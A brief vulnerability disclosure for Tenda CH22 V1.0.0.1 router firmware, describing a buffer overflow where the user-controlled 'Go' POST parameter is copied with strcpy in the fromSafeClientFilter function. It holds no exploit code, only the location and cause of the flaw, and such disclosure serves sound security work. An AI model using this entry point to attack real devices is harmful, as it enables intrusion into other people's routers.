## Affected version
CH22 V1.0.0.1
## Vulnerability details
The Tenda CH22 V1.0.0.1 firmware has a buffer overflow vulnerability in the `fromSafeClientFilter` function. The `v1` variable receives the `Go` parameter from a POST request and is later passed to the `strcpy` function. However, since the user can control the input of `Go` , the statement `strcpy(s, v1);` can cause a buffer overflow.
